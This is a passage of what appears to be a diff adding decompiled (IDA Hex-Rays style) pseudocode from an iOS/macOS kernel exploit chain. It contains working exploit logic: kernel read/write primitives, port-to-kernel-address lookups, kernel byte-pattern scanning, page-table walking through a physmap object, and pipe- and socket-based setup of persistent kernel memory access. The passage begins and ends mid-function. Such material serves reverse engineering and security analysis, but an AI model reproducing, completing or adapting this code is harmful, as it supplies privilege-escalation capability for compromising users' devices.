*)(v2 + 0x34F8) + 0xC0LL, + v210 & 0xFFFFFFFFC000LL); + if ( (_DWORD)v8 ) + return v8; + memory_entry = vm_map(mach_task_self_, &v310, v278, 0LL, 1, *(_DWORD *)(v2 + 0x34F0), 0LL, 0, 3, 3, 2u); + if ( memory_entry ) + return memory_entry | 0x80000000; + v211 = v310 + (v208 & v290); + v8 = 0x28011LL; + if ( *(_QWORD *)(v211 + 0x58) || *(_BYTE *)(v211 + 0x99) ) + return v8; + if ( !validate_addr((__int64)v3, *(_QWORD *)(v211 + 0x88)) ) + return 0x28026LL; + *(_QWORD *)(v211 + 0x88) = v290 + 0x50; + *(_BYTE *)(v211 + 0x99) = 0x40; + memory_entry = vm_deallocate(mach_task_self_, v310, v278); + if ( memory_entry ) + return memory_entry | 0x80000000; + v8 = sub_1003C( + (__int64)v3, + *(_QWORD *)(v2 + 0x2C18), + *(_QWORD *)(v2 + 0x34F8), + 1, + *(_QWORD *)(v2 + 0x2C18) + 0xC0LL, + *(_QWORD *)(v2 + 0x34F8) + 0xC0LL, + __handlee & 0xFFFFFFFFC000LL); + if ( (_DWORD)v8 ) + return v8; + memory_entry = vm_map(mach_task_self_, &v310, v278, 0LL, 1, *(_DWORD *)(v2 + 0x34F0), 0LL, 0, 3, 3, 2u); + if ( memory_entry ) + return memory_entry | 0x80000000; + *((_DWORD *)v3 + 0x3A) = v186; + v212 = v310; + *((_QWORD *)v3 + 0x1E) = v313; + *((_QWORD *)v3 + 0x1F) = v212; + *((_QWORD *)v3 + 0x20) = v278; + *((_QWORD *)v3 + 0x21) = v206; + *((_DWORD *)v3 + 0x44) = v283; + *((_DWORD *)v3 + 0x45) = *(_DWORD *)(v2 + 0x34F0); + *(_DWORD *)(v2 + 0x34F0) = 0; + v8 = 0x28001LL; + if ( v186 + 1 < 2 || !v212 || !v278 ) + return v8; + if ( !(unsigned int)sub_35E18((__int64)v3, v295, 0x10) ) + return 0x28010LL; + *((_QWORD *)v3 + 0xA) = 0LL; + v119 = (char *)v3 + 0x30; +LABEL_256: + *(_QWORD *)v119 = 0LL; +LABEL_257: + v120 = *((_QWORD *)v3 + 0x35); + if ( !v120 ) + return 0x28008; + if ( !kread32_outptr((__int64)v3, v120, outputStruct) || (outputStruct[0].msgh_bits & 0x3FF) - 3 >= 2 ) + return v303; + v121 = *(_DWORD *)(v2 + 0x3620); + if ( !v121 ) + { +LABEL_270: + v8 = 0LL; + goto LABEL_271; + } + v122 = 0LL; + v123 = v2 + 0x3520; + while ( 2 ) + { + v124 = *(_DWORD *)(v123 + 4 * v122); + if ( v124 + 1 < 2 ) + { +LABEL_269: + if ( ++v122 >= (unsigned __int64)v121 ) + goto LABEL_270; + continue; + } + break; + } + v125 = port_name_to_kaddr((__int64)v3, *(_DWORD *)(v123 + 4 * v122)); + if ( !v125 ) + { + v8 = 0x28008LL; + goto LABEL_271; + } + v126 = sub_33A88((__int64)v3, v125, 1); + if ( !v126 ) + { + v8 = 0x28026LL; + goto LABEL_271; + } + v127 = v126 + 0x38; + if ( !kread64_internal((__int64)v3, v126 + 0x38, outputStruct) ) + { + v8 = 0x2800FLL; + goto LABEL_271; + } + if ( !*(_QWORD *)&outputStruct[0].msgh_bits || sub_288A4((__int64)v3, v127, 0LL) ) + { + mach_port_deallocate(mach_task_self_, v124); + *(_DWORD *)(v123 + 4 * v122) = 0; + v121 = *(_DWORD *)(v2 + 0x3620); + goto LABEL_269; + } + v8 = 0x28010LL; +LABEL_271: + v128 = 0LL; + *(_DWORD *)(v2 + 0x3620) = 0; + __handleb = (char *)(v2 + 0xC0); + v129 = v2 + 0x40; + while ( 2 ) + { + theDictc = (CFMutableDictionaryRef)(v2 + 0x2B0 * v128 + 0x10); + v291 = *(_QWORD *)theDictc; + if ( *(_QWORD *)theDictc ) + { + v294 = *(_QWORD *)(v2 + 0x2B0 * v128 + 0x20); + if ( v294 ) + { + v130 = v2 + 0x2B0 * v128; + v270 = *(_DWORD *)(v130 + 0x38); + v282 = *(_QWORD *)(v130 + 0x18); + if ( *(_DWORD *)v2 == 3 ) + { + v131 = *(_DWORD *)(v2 + 0x2B0 * v128 + 0x34); + if ( v131 + 1 >= 2 ) + { + v134 = port_name_to_kaddr((__int64)v3, v131); + if ( !v134 ) + { + v8 = 0x28008LL; + break; + } + v135 = sub_33A88((__int64)v3, v134, 1); + if ( !v135 ) + { +LABEL_488: + v8 = 0x28026LL; + break; + } + v136 = v135 + 0x38; + if ( !kread64_internal((__int64)v3, v135 + 0x38, outputStruct) ) + { +LABEL_487: + v8 = 0x2800FLL; + break; + } + if ( *(_QWORD *)&outputStruct[0].msgh_bits && !sub_288A4((__int64)v3, v136, 0LL) ) + { +LABEL_370: + v8 = 0x28010LL; + break; + } + } + else + { + v132 = sub_33B98(v3, mach_task_self_, v291); + if ( !v132 ) + { + v8 = 0x28011LL; + break; + } + v133 = v132 + 0x38; + if ( !kread64_internal((__int64)v3, v132 + 0x38, outputStruct) ) + goto LABEL_487; + if ( *(_QWORD *)&outputStruct[0].msgh_bits && !sub_288A4((__int64)v3, v133, 0LL) ) + goto LABEL_370; + if ( v282 ) + *(_DWORD *)(v282 + v291) = 0; + } + } + if ( !krw_ctx_has_flag(v3, 0x5184001) ) + { + outputStructCnt = 0LL; + has_flag = krw_ctx_has_flag(v3, 0x8000); + if ( has_flag ) + { + v263 = 0xFFFFFFFFF000LL; + v265 = 0xFFFLL; + v275 = 0x1000LL; + } + else + { + v275 = *((unsigned int *)v3 + 0x60); + v263 = 0xFFFFFFFFC000LL; + v265 = *((_QWORD *)v3 + 0x31); + } + v149 = *(_QWORD *)(v2 + 0x3500); + if ( v149 && *(_QWORD *)(v2 + 0x3508) ) + { + *(_QWORD *)theMagicPhysmapObjectPtr = *(_QWORD *)(v2 + 0x3508); + *(_QWORD *)v318 = v149; + } + else + { + sub_39B70((__int64)v3, &name); + outputStruct[0] = name; + if ( has_flag ) + v150 = "29 01 00 8A .. .. .. .. .. .. .. .. 29 01 0A CB"; + else + v150 = "08 7C 72 92 .. .. .. .. .. .. .. .. 08 01 09 CB"; + v151 = kernel_pattern_scan((__int64)&name, v150, 0); + if ( !v151 ) + goto LABEL_499; + v152 = sub_1E854(*((__int64 **)v3 + 0x33F), (__int64 *)(v151 + 4)); + *(_QWORD *)v318 = v152; + if ( !v152 ) + goto LABEL_499; + if ( !kread64_internal((__int64)v3, v152, v318) ) + goto LABEL_495; + if ( !*(_QWORD *)v318 + || (v153 = sub_1E854(*((__int64 **)v3 + 0x33F), (__int64 *)(v151 + 0x14)), + (*(_QWORD *)theMagicPhysmapObjectPtr = v153) == 0LL) ) + { + v4 = 0x28026LL; + goto LABEL_499; + } + if ( !kread64(v3, v153, (__int64 *)theMagicPhysmapObjectPtr) ) + { +LABEL_495: + v4 = 0x2800FLL; +LABEL_499: + v8 = v4; + break; + } + if ( !validate_addr((__int64)v3, *(__int64 *)theMagicPhysmapObjectPtr) ) + { + v4 = 0x28026LL; + goto LABEL_499; + } + *(_QWORD *)(v2 + 0x3500) = *(_QWORD *)v318; + *(_QWORD *)(v2 + 0x3508) = *(_QWORD *)theMagicPhysmapObjectPtr; + } + if ( v282 ) + { + v154 = 0LL; + v261 = 0LL; + v155 = 0LL; + do + { + if ( v155 && (v155 & (unsigned __int64)v265) + 8 < v275 ) + { + v155 += 8LL; + if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v155, 8LL, (__int64)&v315) ) + goto LABEL_487; + v156 = v315; + } + else + { + *(_QWORD *)&outputStruct[0].msgh_bits = 0LL; + *(_QWORD *)&name.msgh_bits = 0LL; + v157 = krw_ctx_has_flag(v3, 0x8000); + v158 = 0xFFFFFFFFF000LL; + if ( !v157 ) + v158 = 0xFFFFFFFFC000LL; + v267 = v158; + v159 = sub_349C8(v3, mach_task_self_); + if ( !v159 ) + goto LABEL_488; + if ( !kread64(v3, v159, (__int64 *)outputStruct) ) + goto LABEL_487; + if ( (!*((_QWORD *)v3 + 0x30E) || !*((_QWORD *)v3 + 0x30F)) && !(unsigned int)sub_39B14(v3) ) + { + v8 = 0x28003LL; + goto LABEL_500; + } + valuea = v291 + v154; + v160 = *(_QWORD *)&outputStruct[0].msgh_bits; + if ( v157 ) + { + v161 = valuea >> 0x1E; + v162 = 0xFFLL; + } + else + { + v163 = krw_ctx_has_flag(v3, 0x5000008); + v161 = 0x7FFLL; + if ( !v163 ) + v161 = 7LL; + v162 = valuea >> 0x24; + } + if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v160 + 8 * (v161 & v162), 8LL, (__int64)&name) ) + goto LABEL_487; + if ( (~LOBYTE(name.msgh_bits) & 3) != 0 ) + goto LABEL_363; + v164 = sub_38378( + (__int64)v3, + *((_QWORD *)v3 + 0x30E), + *((_QWORD *)v3 + 0x30F), + *(_QWORD *)&name.msgh_bits & v267); + if ( !v164 ) + goto LABEL_488; + v165 = (valuea >> 0x15) & 0x1FF; + if ( !v157 ) + v165 = (valuea >> 0x19) & 0x7FF; + if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v164 + 8 * v165, 8LL, (__int64)&name) ) + goto LABEL_487; + if ( (~LOBYTE(name.msgh_bits) & 3) != 0 ) + { +LABEL_363: + v155 = 0LL; + goto LABEL_364; + } + v261 = *(_QWORD *)&name.msgh_bits & v267; + v166 = sub_38378( + (__int64)v3, + *((_QWORD *)v3 + 0x30E), + *((_QWORD *)v3 + 0x30F), + *(_QWORD *)&name.msgh_bits & v267); + if ( !v166 ) + goto LABEL_488; + v167 = (valuea >> 0xC) & 0x1FF; + if ( !v157 ) + v167 = (valuea >> 0xE) & 0x7FF; + v155 = v166 + 8 * v167; + if ( !(unsigned int)kreadbuf_last_1((__int64)v3, v155, 8LL, (__int64)&name) ) + goto LABEL_487; + v156 = *(_QWORD *)&name.msgh_bits; + v315 = *(_QWORD *)&name.msgh_bits; + } + if ( !v156 ) + goto LABEL_364; + v168 = v156 & v263; + if ( !v168 ) + goto LABEL_364; + if ( !(unsigned int)kreadbuf_last_1( + (__int64)v3, + 8LL * (unsigned int)((unsigned __int64)(v168 - *(_QWORD *)v318) >> vm_page_shift) + + *(_QWORD *)theMagicPhysmapObjectPtr, + 8LL, + (__int64)&v314) ) + goto LABEL_487; + v169 = v314 & 3; + if ( (v314 & 3) != 0 ) + { + if ( v169 == 2 ) + { + v170 = v291 + v154; + if ( (v314 & 0xFFFFFFFFFFFCLL | 0xFFFF000000000000LL) == v155 - (((v291 + v154) >> 9) & 0x18) ) + goto LABEL_364; + goto LABEL_367; + } + if ( v169 != 3 ) + goto LABEL_364; + } + v170 = v291 + v154; +LABEL_367: + if ( (*((_QWORD *)v3 + 0x31) & v170) == 0 ) + { + v171 = sub_10214((__int64)v3, v2, v261); + if ( (_DWORD)v171 ) + { + v8 = v171; + goto LABEL_500; + } + } + if ( !(unsigned int)kwritebuf_last_1((__int64)v3, v155, (__int64)&outputStructCnt, 8LL) ) + goto LABEL_370; +LABEL_364: + v154 += v275; + } + while ( v154 < v282 ); + } + } + v137 = vm_deallocate(mach_task_self_, v291, v294); + if ( v137 || v270 + 1 > 1 && (v137 = mach_port_deallocate(mach_task_self_, v270)) != 0 ) + { + v8 = v137 | 0x80000000; + break; + } + for ( ii = 0LL; ii != 0x200; ii += 8LL ) + { + v139 = *(_QWORD *)&__handleb[ii]; + if ( v139 ) + { + vm_deallocate(mach_task_self_, v139, vm_page_size); + *(_QWORD *)&__handleb[ii] = 0LL; + } + } + for ( jj = 0LL; jj != 0x80; jj += 8LL ) + { + v141 = *(_QWORD *)(v129 + jj); + if ( v141 ) + { + vm_deallocate(mach_task_self_, v141, v294); + *(_QWORD *)(v129 + jj) = 0LL; + } + } + bzero(theDictc, 0x2B0uLL); + v8 = 0LL; + } + } + v142 = 0LL; + v143 = 1; + while ( 2 ) + { + v144 = v143; + v145 = v2 + 0x10 * v128 + 8 * v142; + v146 = *(_QWORD *)(v145 + 0x2B10); + if ( !v146 ) + { +LABEL_304: + v143 = 0; + v142 = 1LL; + if ( (v144 & 1) == 0 ) + goto LABEL_307; + continue; + } + break; + } + v147 = vm_deallocate(mach_task_self_, v146, vm_page_size); + if ( !v147 ) + { + *(_QWORD *)(v145 + 0x2B10) = 0LL; + goto LABEL_304; + } + v8 = v147 | 0x80000000; +LABEL_307: + ++v128; + __handleb += 0x2B0; + v129 += 0x2B0LL; + if ( v128 != 0x10 ) + continue; + break; + } +LABEL_500: + v215 = *v258; + if ( *v258 ) + { + v216 = 0LL; + v217 = v2 + 0x3644; + do + { + v218 = *(_DWORD *)(v217 + 4 * v216); + if ( v218 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v218); + *(_DWORD *)(v217 + 4 * v216) = 0; + v215 = *v258; + } + ++v216; + } + while ( v216 < v215 ); + } + *v258 = 0; + v219 = *(_DWORD *)(v2 + 0x6648); + if ( v219 ) + { + v220 = 0LL; + v221 = v2 + 0x4648; + do + { + v222 = *(_QWORD *)(v221 + 8 * v220); + if ( v222 ) + { + vm_deallocate(mach_task_self_, v222, vm_page_size); + *(_QWORD *)(v221 + 8 * v220) = 0LL; + v219 = *(_DWORD *)(v2 + 0x6648); + } + ++v220; + } + while ( v220 < v219 ); + } + *(_DWORD *)(v2 + 0x6648) = 0; + v223 = *((_QWORD *)v3 + 0x2B); + if ( v223 <= 0x1F530F027FFFFFLL ) + { + if ( v223 >= 0x1C1B0A80100000LL && ((*(_DWORD *)v3 & 0x5584001) != 0 || v223 >= 0x1F530000000000LL) ) + goto LABEL_532; + *(_QWORD *)theMagicPhysmapObjectPtr = 0xFFFFFFFFFFFFFFFFLL; + *(_QWORD *)v318 = 0xFFFFFFFFFFFFFFFFLL; + pipe = fd_make_pipe(v318); + if ( !pipe ) + { + pipe = setup_two_fds((unsigned int *)v318); + if ( !pipe ) + { + pipe = fd_make_pipe((int *)theMagicPhysmapObjectPtr); + if ( !pipe ) + { + v234 = sub_33E8C((__int64)v3, mach_task_self_); + if ( v234 ) + { + v235 = v234; + pipe = sub_10534(v3, v234, v318[0], (__int64 *)outputStruct); + if ( !pipe ) + { + pipe = sub_10534(v3, v235, theMagicPhysmapObjectPtr[0], (__int64 *)&name); + if ( !pipe ) + { + if ( kwrite64((__int64)v3, *(_QWORD *)&outputStruct[0].msgh_bits + 0x10LL, *(__int64 *)&name.msgh_bits) ) + { + pipe = 0x3F004; + v236 = v318[0]; + v237 = v318[1]; + *((_DWORD *)v3 + 0x64C) = v318[0]; + *((_DWORD *)v3 + 0x64D) = v237; + v238 = theMagicPhysmapObjectPtr[0]; + v239 = theMagicPhysmapObjectPtr[1]; + *((_DWORD *)v3 + 0x64E) = theMagicPhysmapObjectPtr[0]; + *((_DWORD *)v3 + 0x64F) = v239; + if ( v236 != 0xFFFFFFFF && v237 != 0xFFFFFFFF && v238 != 0xFFFFFFFF && v239 != 0xFFFFFFFF ) + { + pipe = sub_21200((__int64)v3); + if ( !pipe ) + { + pipe = sub_21200((__int64)v3); + if ( !pipe ) + { + pipe = sub_21200((__int64)v3); + if ( !pipe ) + { + pipe = sub_21200((__int64)v3); + if ( !pipe ) + { +LABEL_531: + v303 = pipe; + goto LABEL_547; + } + } + } + } + } + } + else + { + pipe = 0x28010; + } + } + } + } + else + { + pipe = 0x28026; + } + } + } + } + if ( v318[0] != 0xFFFFFFFF ) + close(v318[0]); + if ( v318[1] != 0xFFFFFFFF ) + close(v318[1]); + if ( theMagicPhysmapObjectPtr[0] != 0xFFFFFFFF ) + close(theMagicPhysmapObjectPtr[0]); + if ( theMagicPhysmapObjectPtr[1] != 0xFFFFFFFF ) + close(theMagicPhysmapObjectPtr[1]); + *((_QWORD *)v3 + 0x327) = 0xFFFFFFFFFFFFFFFFLL; + *((_QWORD *)v3 + 0x326) = 0xFFFFFFFFFFFFFFFFLL; + goto LABEL_531; + } + v224 = (*(_DWORD *)v3 & 0x5584001) != 0 || v223 > 0x1F5418FFFFFFFFLL; + if ( !v224 ) + { +LABEL_532: + *(_QWORD *)&outputStruct[0].msgh_bits = 0xFFFFFFFFFFFFFFFFLL; + v226 = sub_32F1C((__int64)v3); + if ( v226 ) + { + v227 = v226; + v312 = 0; + v228 = fd_make_pipe((int *)outputStruct); + if ( v228 || (v228 = setup_two_fds(&outputStruct[0].msgh_bits)) != 0 ) + { + v229 = 0xFFFFFFFF; + v303 = v228; + goto LABEL_536; + } + sub_1F714((__int64)outputStruct, &v312, 4uLL); + sub_1F770((int *)outputStruct, &v312, 4uLL); + v231 = socket(2, 2, 0); + if ( v231 == 0xFFFFFFFF ) + { + v240 = *__error(); + v241 = *__error(); + if ( v240 < 0 ) + v241 = -v241; + v303 = v241 | 0x40000000; + v229 = 0xFFFFFFFF; +LABEL_536: + v230 = 0xFFFFFFFF; + goto LABEL_537; + } + v229 = v231; + v232 = open("/private/etc/group", 0); + if ( v232 == 0xFFFFFFFF ) + { + v242 = *__error(); + v243 = *__error(); + if ( v242 < 0 ) + v243 = -v243; + v303 = v243 | 0x40000000; + v230 = 0xFFFFFFFF; + goto LABEL_537; + } + v230 = v232; + if ( !kread64(v3, *(_QWORD *)(v2 + 0x2C10) + v227, &v315) ) + goto LABEL_537; + v233 = sub_10414((__int64)v3, v315, &outputStructCnt); + if ( v233 ) + goto LABEL_553; + if ( *((_QWORD *)v3 + 0x44) ) + { + v244 = outputStructCnt; +LABEL_578: + if ( !kread64(v3, v244 + (int)outputStruct[0].msgh_bits * (__int64)*((int *)v3 + 0x5A), (__int64 *)&name) + || !kread64(v3, *(_QWORD *)&name.msgh_bits + 0x10LL, (__int64 *)v318) + || !kread64(v3, *(_QWORD *)v318 + 0x38LL, &v313) + || !kread64(v3, v313 + 0x10, &v314) ) + { + goto LABEL_537; + } + if ( validate_addr((__int64)v3, v314) ) + { + if ( !kread64(v3, v244 + *((int *)v3 + 0x5A) * (__int64)v229, (__int64 *)&name) + || !kread64(v3, *(_QWORD *)&name.msgh_bits + 0x10LL, (__int64 *)theMagicPhysmapObjectPtr) ) + { + goto LABEL_537; + } + v233 = sub_2566C((__int64)v3, (int *)outputStruct, *(unsigned __int64 *)theMagicPhysmapObjectPtr); + if ( v233 ) + { +LABEL_553: + v303 = v233; + goto LABEL_537; + } + if ( kwrite64((__int64)v3, *(_QWORD *)&name.msgh_bits + 0x10LL, v314) ) + { + v245 = outputStruct[0].msgh_bits; + msgh_size = outputStruct[0].msgh_size; + *((_DWORD *)v3 + 0x64C) = outputStruct[0].msgh_bits; + *((_DWORD *)v3 + 0x64D) = msgh_size; + *((_DWORD *)v3 + 0x650) = v229; + v247 = v314; + *((_QWORD *)v3 + 0x43) = v314; + v303 = 0x28001; + if ( v245 != 0xFFFFFFFF && msgh_size != 0xFFFFFFFF ) + { + if ( v247 ) + { + v303 = sub_21200((__int64)v3); + if ( !v303 ) + { + v303 = sub_21200((__int64)v3); + goto LABEL_620; + } + } + } + goto LABEL_537; + } + v256 = 0x28010; + } + else + { + v256 = 0x28026; + } + v303 = v256; + goto LABEL_537; + } + v311 = 0LL; + v244 = outputStructCnt; + if ( kread64(v3, outputStructCnt + *((int *)v3 + 0x5A) * (__int64)v230, (__int64 *)&name) + && kread64(v3, *(_QWORD *)&name.msgh_bits + 0x10LL, (__int64 *)v318) + && kread64(v3, *(_QWORD *)v318 + 0x28LL, (__int64 *)&v311) ) + { + v248 = 0x80LL; + if ( *((int *)v3 + 0x50) > 0x1F53 ) + v248 = 0xFFFFFFFFFFFE0000LL; + v249 = v248 + v311; + if ( *((int *)v3 + 0x50) <= 0x1F53 ) + v250 = v311 + 0x400; + else + v250 = v311; + if ( v249 < v250 ) + { + v251 = 0LL; + v252 = 0; + do + { + v253 = kread64(v3, v249, (__int64 *)&v310); + if ( v251 ) + { + if ( !v253 ) + goto LABEL_620; + v254 = v310; + if ( (v310 & 0x80000000000000LL) != 0 ) + v254 = v310 | 0xFFFFFF8000000000LL; + if ( v254 < *((_QWORD *)v3 + 0x33D) + || ((v254 & 3) == 0 ? (v255 = v254 >= *((_QWORD *)v3 + 0x33E)) : (v255 = 1), v255) ) + { + v252 = 0; + v251 = 0LL; + } + else if ( ++v252 == 7 ) + { + *((_QWORD *)v3 + 0x44) = v251; + goto LABEL_578; + } + } + else + { + if ( !v253 ) + goto LABEL_620; + if ( v310 == 7 ) + v251 = v249; + else + v251 = 0LL; + } + v249 += *((int *)v3 + 0x5A); + } + while ( v249 < v250 ); + } + v303 = 0; + } +LABEL_620: + if ( v303 ) + { +LABEL_537: + if ( outputStruct[0].msgh_bits != 0xFFFFFFFF ) + close(outputStruct[0].msgh_bits); + if ( outputStruct[0].msgh_size != 0xFFFFFFFF ) + close(outputStruct[0].msgh_size); + *((_QWORD *)v3 + 0x326) = 0xFFFFFFFFFFFFFFFFLL; + if ( v229 != 0xFFFFFFFF ) + close(v229); + *((_DWORD *)v3 + 0x650) = 0xFFFFFFFF; + } + else + { + v303 = 0; + } + if ( v230 != 0xFFFFFFFF ) + close(v230); + } + else + { + v303 = 0x2802C; + } +LABEL_547: + v8 = v303; + if ( !v303 ) + { + *((_DWORD *)v3 + 0x3A) = 0; + *((_OWORD *)v3 + 0xF) = 0u; + *((_OWORD *)v3 + 0x10) = 0u; + *((_QWORD *)v3 + 0x22) = 0LL; + } + } + return v8; +} +// D7C4: conditional instruction was optimized away because w22.4==0 +// CEF4: variable 'v1' is possibly undefined +// EAD8: variable 'v290' is possibly undefined +// ED8C: variable 'v207' is possibly undefined +// EDB0: variable 'v209' is possibly undefined +// 68: using guessed type section_64 stru_68; +// 42EC0: using guessed type __int128 xmmword_42EC0; +// 48940: using guessed type __int64 __chkstk_darwin(void); + +//----- (000000000000F860) ---------------------------------------------------- +__int64 __fastcall kreadbuf_again(__int64 ctx, __int64 vaddr, __int64 out, unsigned int size_1) +{ + __int64 result; // x0 + __int64 v6; // x23 + _QWORD *v7; // x24 + __int64 v8; // x19 + unsigned __int64 off; // x26 + unsigned __int64 v10; // x27 + vm_size_t v11; // x8 + vm_address_t v12; // x20 + __int64 v13; // x28 + __int64 v14; // x9 + unsigned __int64 v15; // x22 + unsigned __int64 v16; // x21 + unsigned __int64 v17; // x25 + size_t v19; // x22 + kern_return_t v20; // w0 + vm_address_t v21; // [xsp+0h] [xbp-F0h] + __int64 v22; // [xsp+8h] [xbp-E8h] + __int64 v23; // [xsp+10h] [xbp-E0h] + unsigned __int64 v24; // [xsp+18h] [xbp-D8h] + __int64 v26; // [xsp+28h] [xbp-C8h] + __int64 v27; // [xsp+30h] [xbp-C0h] + __int64 v28; // [xsp+38h] [xbp-B8h] + mach_port_t object_name; // [xsp+40h] [xbp-B0h] BYREF + mach_msg_type_number_t infoCnt; // [xsp+44h] [xbp-ACh] BYREF + int info[8]; // [xsp+48h] [xbp-A8h] BYREF + __int16 v32; // [xsp+68h] [xbp-88h] + vm_size_t size; // [xsp+70h] [xbp-80h] BYREF + vm_address_t address; // [xsp+78h] [xbp-78h] BYREF + _QWORD __src[2]; // [xsp+80h] [xbp-70h] BYREF + + result = 0xAD022LL; + v6 = *(_QWORD *)(ctx + 0x50); + if ( !v6 ) + return 0xAD001LL; + v7 = *(_QWORD **)(v6 + 0x3448); + v8 = *(_QWORD *)(v6 + 0x3458); + if ( *(_QWORD *)(v8 + 0x18) == v7[2] + && *(_QWORD *)(v8 + 8) == *(_QWORD *)(v6 + 0x3450) + && *v7 == *(_QWORD *)(v6 + 0x3460) ) + { + if ( !size_1 ) + return 0LL; + v28 = *(_QWORD *)(v6 + 0x3450); + off = 0LL; + v10 = size_1; + v11 = vm_page_size; + v12 = v7[3] - vm_page_size; + v23 = vaddr; + v24 = size_1; + v21 = v12; + v22 = ctx; + while ( 1 ) + { + v13 = off + vaddr; + v14 = *(_QWORD *)(ctx + 0x188) & (off + vaddr); + v15 = v14 + 0x40; + v16 = *(unsigned int *)(ctx + 0x180); + v17 = v14 + v10; + address = v12; + infoCnt = 9; + *(_QWORD *)(v8 + 8) = v7[1]; + madvise(*(void **)(v6 + 0x2C20), 2 * v11, 2); + v26 = v7[1]; + v27 = v7[3]; + if ( v15 <= v16 || v17 > v16 ) + { + v7[1] = v13 - 0x10; + v7[3] = v12; + v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name); + v7[1] = v26; + v7[3] = v27; + *(_QWORD *)(v8 + 8) = v28; + ++*(_QWORD *)(v6 + 0x3468); + if ( v20 ) + return v20 | 0x80000000; + if ( v10 >= 0x10 ) + v19 = 0x10LL; + else + v19 = v10; + __src[0] = address; + __src[1] = size + address; + } + else + { + v7[1] = v13 - 0x4E; + v7[3] = v12; + v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name); + v7[1] = v26; + v7[3] = v27; + *(_QWORD *)(v8 + 8) = v28; + ++*(_QWORD *)(v6 + 0x3468); + if ( v20 ) + return v20 | 0x80000000; + if ( v10 >= 2 ) + v19 = 2LL; + else + v19 = v10; + LOWORD(__src[0]) = v32; + } + memcpy((void *)(out + off), __src, v19); + off += v19; + if ( off >= v24 ) + return 0LL; + v10 -= v19; + v28 = *(_QWORD *)(v8 + 8); + v11 = vm_page_size; + ctx = v22; + vaddr = v23; + v12 = v21; + } + } + return result; +} + +//----- (000000000000FAE4) ---------------------------------------------------- +__int64 __fastcall sub_FAE4(_QWORD *a1, int8x8_t *a2) +{ + vm_size_t v4; // x21 + char v5; // w24 + unsigned __int64 v6; // x8 + unsigned __int64 v7; // x10 + unsigned __int64 v8; // x12 + __int64 v9; // x8 + __int64 v10; // x25 + __int64 v11; // x22 + vm_address_t v12; // x8 + __int64 v13; // x23 + vm_size_t v14; // x23 + kern_return_t v15; // w0 + __int64 v16; // x27 + __int64 v17; // x26 + __int64 v18; // x10 + __int64 v19; // x8 + __int64 v20; // x12 + int8x8_t v21; // x11 + __int64 v22; // x13 + __int64 v23; // x14 + kern_return_t memory_entry; // w0 + uint8x8_t v25; // d0 + bool v26; // zf + mem_entry_name_port_t object_handle; // [xsp+4h] [xbp-6Ch] BYREF + vm_size_t size; // [xsp+8h] [xbp-68h] BYREF + vm_address_t address; // [xsp+10h] [xbp-60h] BYREF + __int64 __buf; // [xsp+18h] [xbp-58h] BYREF + + v4 = vm_page_size; + v5 = vm_page_shift; + __buf = 0LL; + arc4random_buf(&__buf, 8uLL); + v6 = a1[1]; + v7 = v6 >> 0x22; + v8 = v6 >> 0x21; + v26 = HIDWORD(v6) == 0; + v9 = 0x40000LL; + if ( !v26 ) + v9 = 0x80000LL; + if ( v8 ) + v9 = 0x100000LL; + if ( v7 ) + v10 = 0x200000LL; + else + v10 = v9; + v11 = 0xAD001LL; + v12 = a1[0x691]; + address = v12; + if ( v12 ) + { + v13 = a1[0x692]; + if ( v13 ) + { + madvise((void *)(v12 - v4 + v13), v4, 3); + v14 = v13 - v4; + v15 = vm_allocate(mach_task_self_, &address, v14, 0xCA004000); + if ( v15 ) + return v15 | 0x80000000; + v16 = 0LL; + v11 = 0xAD011LL; +LABEL_13: + v17 = v16 & 0x7F; + if ( v16 ) + { + if ( (v16 & 0x7F) == 0 ) + { + v15 = vm_allocate(mach_task_self_, &address, v14, 0xCA004000); + if ( v15 ) + return v15 | 0x80000000; + } + } + v18 = __buf + v16; + *(_QWORD *)(address + v4 * v17) = __buf + v16; + __dsb(0xBu); + v19 = a2[4].u32[0]; + if ( !(_DWORD)v19 ) + goto LABEL_28; + v20 = 0LL; + v21 = a2[3]; + while ( 1 ) + { + v22 = 1LL << v20; + if ( (*(_QWORD *)&v21 & (1LL << v20)) == 0 ) + { + v23 = *(_QWORD *)(*(_QWORD *)a2 + (unsigned int)((_DWORD)v20 << v5)); + if ( v23 == v18 ) + { + size = v4; + object_handle = 0; + a2[3] = (int8x8_t)(*(_QWORD *)&v21 | v22); + memory_entry = mach_make_memory_entry( + mach_task_self_, + &size, + address + v4 * v17, + 0x200003, + &object_handle, + 0); + if ( memory_entry ) + { + v11 = memory_entry | 0x80000000; + } + else + { + v11 = 0LL; + a2[5].i32[0] = object_handle; + } + LODWORD(v19) = a2[4].i32[0]; +LABEL_28: + v25 = (uint8x8_t)vcnt_s8(a2[3]); + v25.i16[0] = vaddlv_u8(v25); + ++v16; + v26 = (_DWORD)v19 == v25.i32[0] || (_DWORD)v11 == 0; + if ( v26 || v16 == v10 ) + return v11; + goto LABEL_13; + } + if ( v23 != a1[0x6A3] ) + { + *(_QWORD *)&v21 |= v22; + a2[3] = v21; + } + } + if ( v19 == ++v20 ) + goto LABEL_28; + } + } + } + return v11; +} + +//----- (000000000000FD18) ---------------------------------------------------- +__int64 __fastcall sub_FD18(_DWORD *a1, __int64 a2) +{ + unsigned int v2; // w9 + __int64 v3; // x8 + uint8x8_t v4; // d0 + vm_size_t v6; // x20 + char v7; // w22 + __int64 v8; // x23 + vm_address_t v9; // x21 + kern_return_t v10; // w0 + + v2 = *(_DWORD *)(a2 + 0x20); + v3 = *(_QWORD *)(a2 + 0x18); + v4 = (uint8x8_t)vcnt_s8((int8x8_t)v3); + v4.i16[0] = vaddlv_u8(v4); + if ( v2 == v4.i32[0] ) + return 0LL; + v6 = vm_page_size; + v7 = vm_page_shift; + if ( *a1 == 3 && (unsigned int)(*(_DWORD *)(a2 + 0x24) + 1) < 2 ) + return 0LL; + if ( !v2 ) + return 0LL; + v8 = 0LL; + while ( (v3 & (1LL << v8)) != 0 ) + { +LABEL_10: + if ( ++v8 >= (unsigned __int64)v2 ) + return 0LL; + } + v9 = *(_QWORD *)a2 + (unsigned int)((_DWORD)v8 << v7); + v10 = vm_protect(mach_task_self_, v9, v6, 0, 0); + if ( !v10 ) + { + v10 = vm_protect(mach_task_self_, v9, v6, 0, 3); + if ( !v10 ) + { + v3 = *(_QWORD 